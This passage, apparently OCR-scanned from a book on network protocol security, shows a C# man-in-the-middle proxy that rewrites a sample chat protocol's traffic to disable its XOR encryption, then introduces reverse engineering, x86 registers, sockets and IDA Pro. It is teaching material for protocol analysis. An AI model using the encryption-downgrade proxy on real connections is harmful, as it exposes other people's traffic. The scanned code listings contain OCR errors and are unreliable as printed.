Wireshark. To that end, we’ll write a pata Parser class containing functions to
read and write data to and from the network. Copy Listing 5-20 into a new
file in the same directory as you copied chapter5S_proxy.csx in Listing 5-18 and
call it parser.csx.

parser.csx

using CANAPE.Net.Layers;
using System.IO;

class Parser : DataParserNetworkLayer
{

@ protected override bool NegotiateProtocol(



Stream serverStream, Stream clientStream)
{

® var client = new DataReader(clientStream);
var server = new DataWriter(serverStream);

// Read magic from client and write it to server.
© uint magic = client.ReadUInt32();

Console.WriteLine("Magic: {0:X}", magic);

server.WriteUInt32(magic);

// Return true to signal negotiation was successful.
return true;

}

Listing 5-20: A basic parser code for proxy

The negotiation method @ is called before any other communication
takes place and is passed to two C# stream objects: one connected to the
Chat Server and the other to the Chat Client. We can use this negotiation
method to handle the magic value the protocol uses, but we could also use it
for more complex tasks, such as enabling encryption if the protocol supports
1t.

The first task for the negotiation method is to read the magic value from
the client and pass it to the server. To simply read and write the 4-byte

magic value, we first wrap the streams in pataReader and Datawriter classes @.
We then read the magic value from the client, print it to the console, and

write it to the server ©.

Add the line #load "parser.csx” to the very top of chapter5S_proxy.csx. Now
when the main chapterS_proxy.csx script is parsed, the parser.csx file is
automatically included and parsed with the main script. Using this loading
feature allows you to write each component of your parser in a separate file
to make the task of writing a complex proxy manageable. Then add the line
template.AddLayer<Parser>(); just after template.Port = 12345; tO add the parsing
layer to every new connection. This addition will instantiate a new instance
of the parser class in Listing 5-20 with every connection so you can store any
state you need as members of the class. If you start the proxy script and
connect a client through the proxy, only important protocol data is logged,;
you’ll no longer see the magic value (other than in the console output).



Adding Basic Protocol Parsing

Now we’ll reframe the network protocol to ensure that each packet contains
only the data for a single packet. We’ll do this by adding functions to read
the length and checksum fields from the network and leave only the data. At
the same time, we’ll rewrite the length and checksum when sending the data
to the original recipient to keep the connection open.

By implementing this basic parsing and proxying of a client connection,
all nonessential information, such as lengths and checksums, should be
removed from the data. As an added bonus, if you modify data inside the
proxy, the sent packet will have the correct checksum and length to match
your modifications. Add Listing 5-21 to the parser class to implement these
changes and restart the proxy.

@ int CalcChecksum(byte[] data) {
int chksum = 0;
foreach(byte b in data) {

chksum += b;
}

return chksum;

}

® DataFrame ReadData(DataReader reader) {
int length = reader.ReadInt32();
int chksum = reader.ReadInt32();
return reader.ReadBytes(length).ToDataFrame();

}

® voild WriteData(DataFrame frame, DataWriter writer) {
byte[] data = frame.ToArray();
writer.WriteInt32(data.Length);
writer.WriteInt32(CalcChecksum(data));
writer.WriteBytes(data);

}

O protected override DataFrame ReadInbound(DataReader reader) {
return ReadData(reader);
}

protected override void WriteOutbound(DataFrame frame, DataWriter writer) {
WriteData(frame, writer);
}

protected override DataFrame ReadOutbound(DataReader reader) {
return ReadData(reader);
}

protected override void WriteInbound(DataFrame frame, DataWriter writer) {



WriteData(frame, writer);

}

Listing 5-21: Parser code for SuperFunkyChat protocol

Although the code is a bit verbose (blame C# for that), it should be fairly

simple to understand. At @, we implement the checksum calculator. We
could check packets we read to verify their checksums, but we’ll only use this
calculator to recalculate the checksum when sending the packet onward.

The Rreadpata() function at @ reads a packet from the network connection.
It first reads a big endian 32-bit integer, which is the length, then the 32-bit
checksum, and finally the data as bytes before calling a function to convert
that byte array to a pataFrame. (A DataFrame is an object to contain network
packets; you can convert a byte array or a string to a frame depending on
what you need.)

The writepata() function at ©® does the reverse of Rreadpata(). It uses the
ToArray() method on the incoming pataFrame to convert the packet to bytes for
writing. Once we have the byte array, we can recalculate the checksum and

the length, and then write it all back to the patawriter class. At @, we
implement the various functions to read and write data from the inbound
and outbound streams.

Put together all the different scripts for network proxy and parsing and
start a client connection through the proxy, and all nonessential information,
such as lengths and checksums, should be removed from the data. As an
added bonus, if you modify data inside the proxy, the sent packet will have
the correct checksum and length to match your modifications.

Changing Protocol Behavior

Protocols often include a number of optional components, such as
encryption or compression. Unfortunately, it’s not easy to determine how
that encryption or compression is implemented without doing a lot of
reverse engineering. For basic analysis, it would be nice to be able to simply
remove the component. Also, if the encryption or compression is optional,
the protocol will almost certainly indicate support for it while negotiating
the initial connection. So, if we can modify the traffic, we might be able to
change that support setting and disable that additional feature. Although this



is a trivial example, it demonstrates the power of using a proxy instead of
passive analysis with a tool like Wireshark. We can modify the connection to
make analysis easier.

For example, consider the chat application. One of its optional features is
XOR encryption (although see Chapter 7 on why it’s not really encryption).
To enable this feature, you would pass the --xor parameter to the client.
Listing 5-22 compares the first couple of packets for the connection without
the XOR parameter and then with the XOR parameter.

OUTBOUND XOR  : 00 05 75 73 65 72 32 04 4F 4E 59 58 01 - ..user2.0NYX.
OUTBOUND NO XOR: 00 05 75 73 65 72 32 04 4F 4E 59 58 00 - ..user2.0NYX.
INBOUND XOR  : 01 E7
INBOUND NO XOR: 01 00

Listing 5-22: Example packets with and without XOR encryption enabled

I've highlighted in bold two differences in Listing 5-22. Let’s draw some
conclusions from this example. In the outbound packet (which is command 0
based on the first byte), the final byte is a 1 when XOR is enabled but 0x00
when it’s not enabled. My guess would be that this flag indicates that the
client supports XOR encryption. For inbound traffic, the final byte of the
first packet (command 1 in this case) is 0xE7 when XOR is enabled and 0x00
when it’s not. My guess would be that this is a key for the XOR encryption.

In fact, if you look at the client console when you’re enabling XOR
encryption, you’ll see the line ReKeying connection to key OxE7, which indicates it
is indeed the key. Although the negotiation is valid traffic, if you now try to
send a message with the client through the proxy, the connection will no
longer work and may even be disconnected. The connection stops working
because the proxy will try to parse fields, such as the length of the packet,
from the connection but will get invalid values. For example, when reading a
length, such as 0x10, the proxy will instead read 0x10 XOR 0xE7, which is
OxE7. Because there are no 0xF7 bytes on the network connection, it will
hang. The short explanation is that to continue the analysis in this situation,
we need to do something about the XOR.

While implementing the code to de-XOR the traffic when we read it and
re-XOR it again when we write it wouldn’t be especially difficult, it might
not be so simple to do if this feature were implemented to support some
proprietary compression scheme. Therefore, we’ll simply disable XOR



encryption in our proxy irrespective of the client’s setting. To do so, we read
the first packet in the connection and ensure that the final byte is set to 0.
When we forward that packet onward, the server will not enable XOR and
will return the value of 0 as the key. Because 0 is a NO-OP in XOR
encryption (as in A XOR 0 = A), this technique will effectively disable the
XOR.

Change the Rreadoutbound() method in the parser to the code in Listing 5-23
to disable the XOR encryption.

protected override DataFrame ReadOutbound(DataReader reader) {

DataFrame frame = ReadData(reader);

// Convert frame back to bytes.

byte[] data = frame.ToArray();

if (data[0] == 0) {
Console.WriteLine("Disabling XOR Encryption");
data[data.Length - 1] = 0;
frame = data.ToDataFrame();

}

return frame;

}
Listing 5-23: Disable XOR encryption

If you now create a connection through the proxy, you’ll find that
regardless of whether the XOR setting is enabled or not, the client will not
be able to enable XOR.

Final Words

In this chapter, you learned how to perform basic protocol analysis on an
unknown protocol using passive and active capture techniques. We started
by doing basic protocol analysis using Wireshark to capture example traffic.
Then, through manual inspection and a simple Python script, we were able
to understand some parts of an example chat protocol.

We discovered in the initial analysis that we were able to implement a
basic Lua dissector for Wireshark to extract protocol information and
display it directly in the Wireshark GUI. Using Lua is ideal for prototyping
protocol analysis tools in Wireshark.

Finally, we implemented a man-in-the-middle proxy to analyze the
protocol. Proxying the traffic allows demonstration of a few new analysis
techniques, such as modifying protocol traffic to disable protocol features



(such as encryption) that might hinder the analysis of the protocol using
purely passive techniques.

The technique you choose will depend on many factors, such as the
difficulty of capturing the network traffic and the complexity of the protocol.
You’ll want to apply the most appropriate combination of techniques to fully
analyze an unknown protocol.



6
APPLICATION REVERSE ENGINEERING

If you can analyze an entire network protocol just by looking at the
transmitted data, then your analysis is quite simple. But that’s not always
possible with some protocols, especially those that use custom encryption or
compression schemes. However, if you can get the executables for the client
or server, you can use binary reverse engineering (RE) to determine how the
protocol operates and search for vulnerabilities as well.

The two main kinds of reverse engineering are static and dynamic. Static
reverse engineering is the process of disassembling a compiled executable
into native machine code and using that code to understand how the
executable works. Dynamic reverse engineering involves executing an
application and then using tools, such as debuggers and function monitors,
to inspect the application’s runtime operation.

In this chapter, I'll walk you through the basics of taking apart
executables to identify and understand the code areas responsible for
network communication.

I'll focus on the Windows platform first, because you’re more likely to
find applications without source code on Windows than you are on Linux or
macOS. Then, I'll cover the differences between platforms in more detail
and give you some tips and tricks for working on alternative platforms;
however, most of the skills you’ll learn will be applicable on all platforms. As
you read, keep in mind that it takes time to become good reverse engineer,
and I can’t possibly cover the broad topic of reverse engineering in one
chapter.

Before we delve into reverse engineering, I'll discuss how developers
create executable files and then provide some details about the omnipresent
x86 computer architecture. Once you understand the basics of x86
architecture and how it represents instructions, you’ll know what to look for
when you’re reverse engineering code.

Finally, I'll explain some general operating system principles, including
how the operating system implements networking functionality. Armed with



this knowledge, you should be able to track down and analyze network
applications.

Let’s start with background information on how programs execute on a
modern operating system and examine the principles of compilers and
interpreters.

Compilers, Interpreters, and Assemblers

Most applications are written in a higher-level programming language, such
as C/C++, C#, Java, or one of the many scripting languages. When an
application is developed, the raw language is its source code. Unfortunately,
computers don’t understand source code, so the high-level language must be
converted into machine code (the native instructions the computer’s processor
executes) by interpreting or compiling the source code.

The two common ways of developing and executing programs is by
interpreting the original source code or by compiling a program to native
code. The way a program executes determines how we reverse engineer it, so
let’s look at these two distinct methods of execution to get a better idea of
how they work.

Interpreted Languages

Interpreted languages, such as Python and Ruby, are sometimes called
scripting languages, because their applications are commonly run from short
scripts written as text files. Interpreted languages are dynamic and speed up
development time. But interpreters execute programs more slowly than code
that has been converted to muachine code, which the computer understands
directly. To convert source code to a more native representation, the
programming language can instead be compiled.

Compiled Languages

Compiled programming languages use a compiler to parse the source code
and generate machine code, typically by generating an intermediate
language first. For native code generation, usually an assembly language
specific to the CPU on which the application will run (such as 32- or 64-bit



assembly) is used. The language is a human-readable and understandable
form of the underlying processor’s instruction set. The assembly language is
then converted to machine code using an assernbler. For example, Figure 6-1
shows how a C compiler works.

MNative
C source code machine code
55
#include <¢stdio.h»
89 ef
83 ec 10
void main() { :
—=| C compiler c7 04 24 64 50 40 00
ts("Hello\n");
purts{CHelioin’); e8 8e 1f 00 00
} c9
c3
A
Y
push  ebp
mov  ebp,esp
sub  esp,0x10
Assembly
source code | MV [esp],str —m=| Assembler
call  puts
leave
ret

Figure 6-1: The C language compilation process

To reverse a native binary to the original source code, you need to
reverse the compilation using a process called decompilation. Unfortunately,
decompiling machine code is quite difficult, so reverse engineers typically
reverse just the assembly process using a process called disassembly.

Static vs. Dynamic Linking

With extremely simple programs, the compilation process might be all that
is needed to produce a working executable. But in most applications, a lot of



code is imported into the final executable from external libraries by /inking—
a process that uses a linker program after compilation. The linker takes the
application-specific machine code generated by the compiler, along with any
necessary external libraries used by the application, and embeds everything
in a final executable by statically linking any external libraries. This static
linking process produces a single, self-contained executable that doesn’t
depend on the original libraries.

Because certain processes might be handled in very different ways on
different operating systems, static linking all code into one big binary might
not be a good idea because the OS-specific implementation could change.
For example, writing to a file on disk might have widely different operating
system calls on Windows than it does on Linux. Therefore, compilers
commonly link an executable to operating system-specific libraries by
dynamic linking: instead of embedding the machine code in the final
executable, the compiler stores only a reference to the dynamic library and
the required function. The operating system must resolve the linked
references when the application runs.

The x86 Architecture

Before getting into the methods of reverse engineering, you’ll need some
understanding of the basics of the x86 computer architecture. For a
computer architecture that is over 30 years old, x86 is surprisingly persistent.
It’s used in the majority of desktop and laptop computers available today.
Although the PC has been the traditional home of the x86 architecture, it

has found its way into Mac! computers, game consoles, and even
smartphones.

The original x86 architecture was released by Intel in 1978 with the 8086
CPU. Over the years, Intel and other manufacturers (such as AMD) have
improved its performance massively, moving from supporting 16-bit
operations to 32-bit and now 64-bit operations. The modern architecture
has barely anything in common with the original 8086, other than processor
instructions and programming idioms. Because of its lengthy history, the x86
architecture is very complex. We'll first look at how the x86 executes
machine code, and then examine its CPU registers and the methods used to
determine the order of execution.



The Instruction Set Architecture

When discussing how a CPU executes machine code, it’s common to talk
about the nstruction set architecture (ISA). The ISA defines how the machine
code works and how it interacts with the CPU and the rest of the computer.
A working knowledge of the ISA is crucial for effective reverse engineering.

The ISA defines the set of machine language instructions available to a
program; each individual machine language instruction is represented by a
mmnemonic instruction. The mnemonics name each instruction and determine
how its parameters, or operands, are represented. Table 6-1 lists the
mnemonics of some of the most common x86 instructions. (I'll cover many
of these instructions in greater detail in the following sections.)

Table 6-1: Common x86 Instruction Mnemonics

Instruction

Description

MOV destination,
source

ADD destination,
value

SUB destination,
value

CALL address

JMP address

RET

RETN size

Jcc address

PUSH value

POP destination

CMP valuea,

Moves a value from source to destination
Adds an integer value to the destination
Subtracts an integer value from a destination

Calls the subroutine at the specified address
Jumps unconditionally to the specified address
Returns from a previous subroutine

Returns from a previous subroutine and then increments
the stack by size

Jumps to the specified address if the condition indicated by
cc 1s true

Pushes a value onto the current stack and decrements the
stack pointer

Pops the top of the stack into the destination and
increments the stack pointer

Compares valuea and valueb and sets the appropriate flags



valueb

TEST valuea,
valueb

AND destination,
value

OR destination,
value

XOR destination,
value

SHL destination,
N

SHR destination,
N

INC destination

DEC destination

Performs a bitwise AND on valuea and valueb and sets the
appropriate flags

Performs a bitwise AND on the destination with the value
Performs a bitwise OR on the destination with the value

Performs a bitwise Exclusive OR on the destination with
the value

Shifts the destination to the left by v bits (with left being
higher bits)

Shifts the destination to the right by v bits (with right being
lower bits)

Increments destination by 1

Decrements destination by 1

These mnemonic instructions take one of three forms depending on how
many operands the instruction takes. Table 6-2 shows the three different
forms of operands.

Table 6-2: Intel Mnemonic Forms

Number of operands Form Examples

0 NAME POP, RET

1 NAME input PUSH 1; CALL func

2 NAME output, input MoV EAX, EBX; ADD EDI, 1

The two common ways to represent x86 instructions in assembly are Inzel
and ATET syntax. Intel syntax, originally developed by the Intel
Corporation, is the syntax I use throughout this chapter. AT&T syntax is
used in many development tools on Unix-like systems. The syntaxes differ in
a few ways, such as the order in which operands are given. For example, the



instruction to add 1 to the value stored in the EAX register would look like
this in Intel syntax: aop eax, 1 and like this in AT&T Syntax: addl $1, %eax.

CPU Registers

The CPU has a number of registers for very fast, temporary storage of the
current state of execution. In x86, each register is referred to by a two- or
three-character label. Figure 6-2 shows the main registers for a 32-bit x86
processor. It’s essential to understand the many types of registers the
processor supports because each serves different purposes and is necessary
for understanding how the instructions operate.

General purpose registers || Memory index registers
[__EAX | .
[ Eex | N
ECX ESP
[ EDX ] [ eep |
| EIP |
Selector registers
[ CS ]| Ds || Es | Control registers
[ Fs || Gs || ss | | EFLAGS |

Figure 6-2: The main 32-bit x86 registers

The x86’s registers are split into four main categories: general purpose,
memory index, control, and selector.

General Purpose Registers

The general purpose registers (EAX, EBX, ECX, and EDX in Figure 6-2) are
temporary stores for nonspecific values of computation, such as the results of
addition or subtraction. The general purpose registers are 32 bits in size,
although instructions can access them in 16- and 8-bit versions using a
simple naming convention: for example, a 16-bit version of the EAX register
is accessed as AX, and the 8-bit versions are AH and AL. Figure 6-3 shows
the organization of the EAX register.



EAX (32 bits)

AH (8 bits) | AL (8 bits)

| | |
AX (16 bits)

Figure 6-3: EAX general purpose register with small register components

Memory Index Registers

The memory index registers (ESI, EDI, ESP, EBP, EIP) are mostly general
purpose except for the ESP and EIP registers. The ESP register is used by
the PUSH and POP instructions, as well as during subroutine calls to
indicate the current memory location of the base of a stack.

Although you can utilize the ESP register for purposes other than
indexing into the stack, it’s usually unwise to do so because it might cause
memory corruption or unexpected behavior. The reason is that some
instructions implicitly rely on the value of the register. On the other hand,
the EIP register cannot be directly accessed as a general purpose register
because it indicates the next address in memory where an instruction will be
read from.

The only way to change the value of the EIP register is by using a control
instruction, such as caLL, awp, or ret. For this discussion, the important control
register is EFLAGS. EFLAGS contains a variety of Boolean flags that
indicate the results of instruction execution, such as whether the last
operation resulted in the wvalue 0. These Boolean flags implement
conditional branches on the x86 processor. For example, if you subtract two
values and the result is 0, the Zero flag in the EFLAGS register will be set to
1, and flags that do not apply will be set to 0.

The EFLAGS register also contains important system flags, such as
whether interrupts are enabled. Not all instructions affect the value of
EFLAGS. Table 6-3 lists the most important flag values, including the flag’s
bit position, its common name, and a brief description.

Table 6-3: Important EFLAGS Status Flags

Bit Name  Description

0 Carry Indicates whether a carry bit was generated from the last



flag operation

2 Parity The parity of the least-significant byte of the last operation
flag

6  Zero flag Indicates whether the last operation has zero as its result;
used in comparison operations

7 Sign flag Indicates the sign of the last operation; effectively, the
most-significant bit of the result

11  Overflow Indicates whether the last operation overflowed

flag

Selector Registers
The selector registers (CS, DS, ES, FS, GS, SS) address memory locations by

indicating a specific block of memory into which you can read or write. The

real memory address used in reading or writing the value is looked up in an
internal CPU table.

Selector registers are usually only used in operating system—specific operations.
For example, on Windows, the FS register is used to access memory allocated to
store the curvent thread’s control information.

Memory is accessed using little endian byte order. Recall from Chapter 3
that little endian order means the least-significant byte is stored at the lowest
memory address.

Another important feature of the x86 architecture is that it doesn’t
require its memory operations to be aligned. All reads and writes to main
memory on an aligned processor architecture must be aligned to the size of
the operation. For example, if you want to read a 32-bit value, you would
have to read from a memory address that is a multiple of 4. On aligned
architectures, such as SPARC, reading an unaligned address would generate
an error. Conversely, the x86 architecture permits you to read from or write
to any memory address regardless of alignment.



Unlike architectures such as ARM, which use specialized instructions to
load and store values between the CPU registers and main memory, many of
the x86 instructions can take memory addresses as operands. In fact, the x86
supports a complex memory-addressing format for its instructions: each
memory address reference can contain a base register, an index register, a
multiplier for the index (between 1 and 8), or a 32-bit offset. For example,
the following MOV instruction combines all four of these referencing
options to determine which memory address contains the value to be copied
into the EAX register:

MOV EAX, [ESI + EDI * 8 + 0x50] ; Read 32-bit value from memory address

When a complex address reference like this is used in an instruction, it’s
common to see it enclosed in square brackets.

Program Flow

Program flow, or control flow, is how a program determines which instructions
to execute. The x86 has three main types of program flow instructions:
subroutine calling, conditional branches, and unconditional branches. Subroutine
calling redirects the flow of the program to a subroutine—a specified
sequence of instructions. This is achieved with the caLL instruction, which
changes the EIP register to the location of the subroutine. caiL places the
memory address of the next instruction onto the current stack, which tells
the program flow where to return after it has performed its subroutine task.
The return is performed using the Rret instruction, which changes the EIP
register to the top address in the stack (the one caLL put there).

Conditional branches allow the code to make decisions based on prior
operations. For example, the cup instruction compares the values of two
operands (perhaps two registers) and calculates the appropriate values for the
EFLAGS register. Under the hood, the v instruction does this by
subtracting one value from the other, setting the EFLAGS register as
appropriate, and then discarding the result. The TesT instruction does the
same except it performs an AND operation instead of a subtraction.

After the EFLAGS value has been calculated, a conditional branch can be
executed; the address it jumps to depends on the state of EFLAGS. For
example, the 3z instruction will conditionally jump if the Zero flag is set



(which would happen if, for instance, the cup instruction compared two
values that were equal); otherwise, the instruction is a no-operation. Keep in
mind that the EFLAGS register can also be set by arithmetic and other
instructions. For example, the sL instruction shifts the value of a destination
by a certain number of bits from low to high.

Unconditional branching program flow is implemented through the avp
instruction, which just jumps unconditionally to a destination address.
There’s not much more to be said about unconditional branching.

Operating System Basics

Understanding a computer’s architecture is important for both static and
dynamic reverse engineering. Without this knowledge, it’s difficult to ever
understand what a sequence of instructions does. But architecture is only
part of the story: without the operating system handling the computer’s
hardware and processes, the instructions wouldn’t be very useful. Here I'll
explain some of the basics of how an operating system works, which will help
you understand the processes of reverse engineering.

Executable File Formats

Executable file formats define how executable files are stored on disk.
Operating systems need to specify the executables they support so they can
load and run programs. Unlike earlier operating systems, such as MS-DOS,
which had no restrictions on what file formats would execute (when run, files
containing instructions would load directly into memory), modern operating
systems have many more requirements that necessitate more complex
formats.

Some requirements of a modern executable format include:

® Memory allocation for executable instructions and data
* Support for dynamic linking of external libraries

* Support for cryptographic signatures to validate the source of the
executable

* Maintenance of debug information to link executable code to the original
source code for debugging purposes



* A reference to the address in the executable file where code begins
executing, commonly called the start address (necessary because the
program’s start address might not be the first instruction in the executable

file)

Windows uses the Portable Executable (PE) format for all executables
and dynamic libraries. Executables typically use the .exe extension, and
dynamic libraries use the .d// extension. Windows doesn’t actually need these
extensions for a new process to work correctly; they are used just for
convenience.

Most Unix-like systems, including Linux and Solaris, use the Executable
Linking Format (ELF) as their primary executable format. The major
exception is macOS, which uses the Mach-O format.

Sections

Memory sections are probably the most important information stored in an
executable. All nontrivial executables will have at least three sections: the
code section, which contains the native machine code for the executable; the
data section, which contains initialized data that can be read and written
during execution; and a special section to contain uninitialized data. Each
section has a name that identifies the data it contains. The code section is
usually called zext, the data section is called daza, and the uninitialized data is

called bss.

Every section contains four basic pieces of information:

* A text name
¢ A size and location of the data for the section contained in the executable

file

* The size and address in memory where the data should be loaded

* Memory protection flags, which indicate whether the section can be
written or executed when loaded into memory

Processes and Threads

An operating system must be able to run multiple instances of an executable
concurrently without them conflicting. To do so, operating systems define a



process, which acts as a container for an instance of a running executable. A
process stores all the private memory the instance needs to operate, isolating
it from other instances of the same executable. The process is also a security
boundary, because it runs under a particular user of the operating system and
security decisions can be made based on this identity.

Operating systems also define a thread of execution, which allows the
operating system to rapidly switch between multiple processes, making it
seem to the user that they’re all running at the same time. This is called
maultitasking. "T'o switch between processes, the operating system must
interrupt what the CPU is doing, store the current process’s state, and
restore an alternate process’s state. When the CPU resumes, it is running
another process.

A thread defines the current state of execution. It has its own block of
memory for a stack and somewhere to store its state when the operating
system stops the thread. A process will usually have at least one thread, and
the limit on the number of threads in the process is typically controlled by
the computer’s resources.

To create a new process from an executable file, the operating system
first creates an empty process with its own allocated memory space. Then
the operating system loads the main executable into the process’s memory
space, allocating memory based on the executable’s section table. Next, a
new thread is created, which is called the main thread.

The dynamic linking program is responsible for linking in the main
executable’s system libraries before jumping back to the original start
address. When the operating system launches the main thread, the process
creation is complete.

Operating System Networking Interface

The operating system must manage a computer’s networking hardware so it
can be shared between all running applications. The hardware knows very
little about higher-level protocols, such as TCP/IP,? so the operating system
must provide implementations of these higher-level protocols.

The operating system also needs to provide a way for applications to
interface with the network. The most common network API is the Berkeley
sockets model, originally developed at the University of California, Berkeley in



the 1970s for BSD. All Unix-like systems have built-in support for Berkeley
sockets. On Windows, the Winsock library provides a very similar
programming interface. The Berkeley sockets model is so prevalent that
you’ll almost certainly encounter it on a wide range of platforms.

Creating a Simple TCP Client Connection to a Server

To get a better sense of how the sockets API works, Listing 6-1 shows how
to create a simple 'TCP client connection to a remote server.

int port = 12345;
const char* ip = "1.2.3.4";
sockaddr_1in addr = {0};

@ int s = socket(AF_INET, SOCK_STREAM, 0);

addr.sin_family = PF_INET;
® addr.sin_port = htons(port);
inet_pton(AF_INET, ip, &addr.sin_addr);
O if(connect(s, (sockaddr*) &addr, sizeof(addr)) == 0)

®

char buf[1024];
® int len = recv(s, buf, sizeof(buf), 0);

O send(s, buf, len, 0);
}

close(s);

Listing 6-1: A simple TCP network client

The first API call @ creates a new socket. The ar_iNeT parameter indicates
we want to use the IPv4 protocol. (To use IPv6 instead, we would write
AF_INeT6). The second parameter sock_streau indicates that we want to use a
streaming connection, which for the internet means 'T'CP. To create a UDP
socket, we would write sock_bcran (for datagram socket).

Next, we construct a destination address with addr, an instance of the
system-defined sockaddr_in structure. We set up the address structure with the
protocol type, the TCP port, and the TCP IP address. The call to inet_pton

® converts the string representation of the IP address in ip to a 32-bit
integer.

Note that when setting the port, the htons function is used @ to convert



the value from host-byte-order (which for x86 is little endian) to network-
byte-order (always big endian). This applies to the IP address as well. In this

case, the IP address 1.2.3.4 will become the integer 0x01020304 when stored
in big endian format.

The final step is to issue the call to connect to the destination address @.
This is the main point of failure, because at this point the operating system
has to make an outbound call to the destination address to see whether
anything is listening. When the new socket connection is established, the
program can read and write data to the socket as if it were a file via the recv

O and send O system calls. (On Unix-like systems, you can also use the
y like systems, y
general read and write calls, but not on Windows.)

Creating a Client Connection to a TCP Server

Listing 6-2 shows a snippet of the other side of the network connection, a
very simple T'CP socket server.

sockaddr_1in bind_addr = {0};
int s = socket(AF_INET, SOCK_STREAM, 0);

bind_addr.sin_family = AF_INET;
bind_addr.sin_port = htons(12345);

@ inet_pton("0.0.0.0", &bind_addr.sin_addr);

® bind(s, (sockaddr*)&bind addr, sizeof(bind_addr));
® listen(s, 10);

sockaddr_1in client_addr;

int socksize = sizeof(client_addr);

O int newsock = accept(s, (sockaddr*)&client_addr, &socksize);

// Do something with the new socket

Listing 6-2: A simple TCP socket server

The first important step when connecting to a TCP socket server is to
bind the socket to an address on the local network interface, as shown at @
and @. This is effectively the opposite of the client case in Listing 6-1

because inet_pton() @ just converts a string IP address to its binary form. The
socket is bound to all network addresses, as signified by "e.e.e.0", although



this could instead be a specific address on port 12345.

Then, the socket is bound to that local address @. By binding to all
interfaces, we ensure the server socket will be accessible from outside the
current system, such as over the internet, assuming no firewall is in the way.

Finally, the listing asks the network interface to listen for new incoming

connections © and calls accept @, which returns the next new connection. As
with the client, this new socket can be read and written to using the recv and
send calls.

When you encounter native applications that use the operating system
network interface, you’ll have to track down all these function calls in the
executable code. Your knowledge of how programs are written at the C
programming language level will prove valuable when you’re looking at your
reversed code in a disassembler.

Application Binary Interface

The application binary interface (ABI) is an interface defined by the operating
system to describe the conventions of how an application calls an API
function. Most programming languages and operating systems pass
parameters left to right, meaning that the leftmost parameter in the original
source code is placed at the lowest stack address. If the parameters are built
by pushing them to a stack, the last parameter is pushed first.

Another important consideration is how the return value is provided to
the function’s caller when the API call is complete. In the x86 architecture,
as long as the value is less than or equal to 32 bits, it’s passed back in the
EAX register. If the value is between 32 and 64 bits, it’s passed back in a
combination of EAX and EDX.

Both EAX and EDX are considered scratch registers in the ABI, meaning
that their register values are not preserved across function calls: in other
words, when calling a function, the caller can’t rely on any value stored in
these registers to still exist when the call returns. This model of designating
registers as scratch is done for pragmatic reasons: it allows functions to
spend less time and memory saving registers, which might not be modified
anyway. In fact, the ABI specifies an exact list of which registers must be
saved into a location on the stack by the called function.

Table 6-4 contains a quick description of the typical register assignment’s



purpose. The table also indicates whether the register must be saved when
calling a function in order for the register to be restored to its original value
before the function returns.

Table 6-4: Saved Register List

Register ABI usage Saved?
EAX Used to pass the return value of the function No
EBX General purpose register Yes
ECX Used for local loops and counters, and sometimes used No
to pass object pointers in languages such as C++
EDX Used for extended return values No
EDI General purpose register Yes
ESI General purpose register Yes
EBP Pointer to the base of the current valid stack frame Yes
ESP Pointer to the base of the stack Yes

Figure 6-4 shows an add() function being called in the assembly code for
the print_add() function: it places the parameters on the stack (pusH 10), calls
the add() function (cALL add), and then cleans up afterward (aop esp, 8). The
result of the addition is passed back from add() through the EAX register,
which is then printed to the console.



void print_add() { int add(int a, int b) {
printf("%d\n", add(1, 10)); return a + b;
} }

PUSH EBP MOV EAX, [ESP+4] ; EAX =
MOV  EBP, ESP ADD EAX, [ESP+8] ; EAX
RET

I
w

a+bh

PUSH 10 ; Push parameters
PUSH 1

CALL add

ADD  ESP, B ; Remove parameters

FPUSH EAX

PUSH OFFSET "#%d\n"
CALL printf

ADD  ESP, 8

POP  EBP
RET

Figure 6-4: Function calling in assembly code

Static Reverse Engineering

Now that you have a basic understanding of how programs execute, we’ll
look at some methods of reverse engineering. Static reverse engineering is the
process of dissecting an application executable to determine what it does.
Ideally, we could reverse the compilation process to the original source code,
but that’s usually too difficult to do. Instead, it’s more common to
disassemble the executable.

Rather than attacking a binary with only a hex editor and a machine code
reference, you can use one of many tools to disassemble binaries. One such
tool is the Linux-based objdump, which simply prints the disassembled
output to the console or to a file. Then it’s up to you to navigate through the
disassembly using a text editor. However, objdump isn’t very user friendly.

Fortunately, there are interactive disassemblers that present disassembled
code in a form that you can easily inspect and navigate. By far, the most fully
featured of these is IDA Pro, which was developed by the Hex Rays
company. IDA Pro is the go-to tool for static reversing, and it supports
many common executable formats as well as almost any CPU architecture.



The full version is pricey, but a free edition is also available. Although the
free version only disassembles x86 code and can’t be used in a commercial
environment, it’s perfect for getting you up to speed with a disassembler.
You can download the free version of IDA Pro from the Hex Rays website at
https://www.bex-rays.com/. The free version is only for Windows, but it
should run well under Wine on Linux or macOS. Let’s take a quick tour of
how to use IDA Pro to dissect a simple network binary.

A Quick Guide to Using IDA Pro Free Edition

Once it’s installed, start IDA Pro and then choose the target executable by
clicking File » Open. The Load a new file window should appear (see
Figure 6-5).

This window displays several options, but most are for advanced users;
you only need to consider certain important options. The first option allows

you to choose the executable format you want to inspect @. The default in
the figure, Portable executable, is usually the correct choice, but it’s always

best to check. The Processor type @ specifies the processor architecture as
the default, which is x86. This option is especially important when you’re
disassembling binary data for unusual processor architectures. When you’re
sure the options you chose are correct, click OK to begin disassembly.

Your choices for the first and second options will depend on the
executable you're trying to disassemble. In this example, we’re disassembling
a Windows executable that uses the PE format with an x86 processor. For
other platforms, such as macOS or Linux, you’ll need to select the
appropriate options. IDA will make its best efforts to detect the format
necessary to disassemble your target, so normally you won’t need to choose.
During disassembly, it will do its best to find all executable code, annotate
the decompiled functions and data, and determine cross-references between
areas of the disassembly.


https://www.hex-rays.com/
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Figure 6-5: Options for loading a new file

By default, IDA attempts to provide annotations for variable names and
function parameters if it knows about them, such as when calling common
API functions. For cross-references, IDA will find the locations in the
disassembly where data and code are referenced: you can look these up when
you're reverse engineering, as you’ll soon see. Disassembly can take a long
time. When the process is complete, you should have access to the main IDA
interface, as shown in Figure 6-6.

There are three important windows to pay attention to in IDA’s main
interface. The window at @ is the default disassembly view. In this example,
it shows the IDA Pro graph view, which is often a very useful way to view an
individual function’s flow of execution. To display a native view showing the
disassembly in a linear format based on the loading address of instructions,

press the spacebar. The window at ® shows the status of the disassembly
process as well as any errors that might occur if you try to perform an



operation in IDA that it doesn’t understand. The tabs of the open windows
are at @.

You can open additional windows in IDA by selecting View » Open
subviews. Here are some windows you’ll almost certainly need and what
they display:

IDA View Shows the disassembly of the executable
Exports Shows any functions exported by the executable

Imports Shows any functions dynamically linked into this executable at
runtime

Functions Shows a list of all functions that IDA Pro has identified

Strings Shows a list of printable strings that IDA Pro has identified
during analysis

File Edit Jump Search View Debugger Options Windows Help
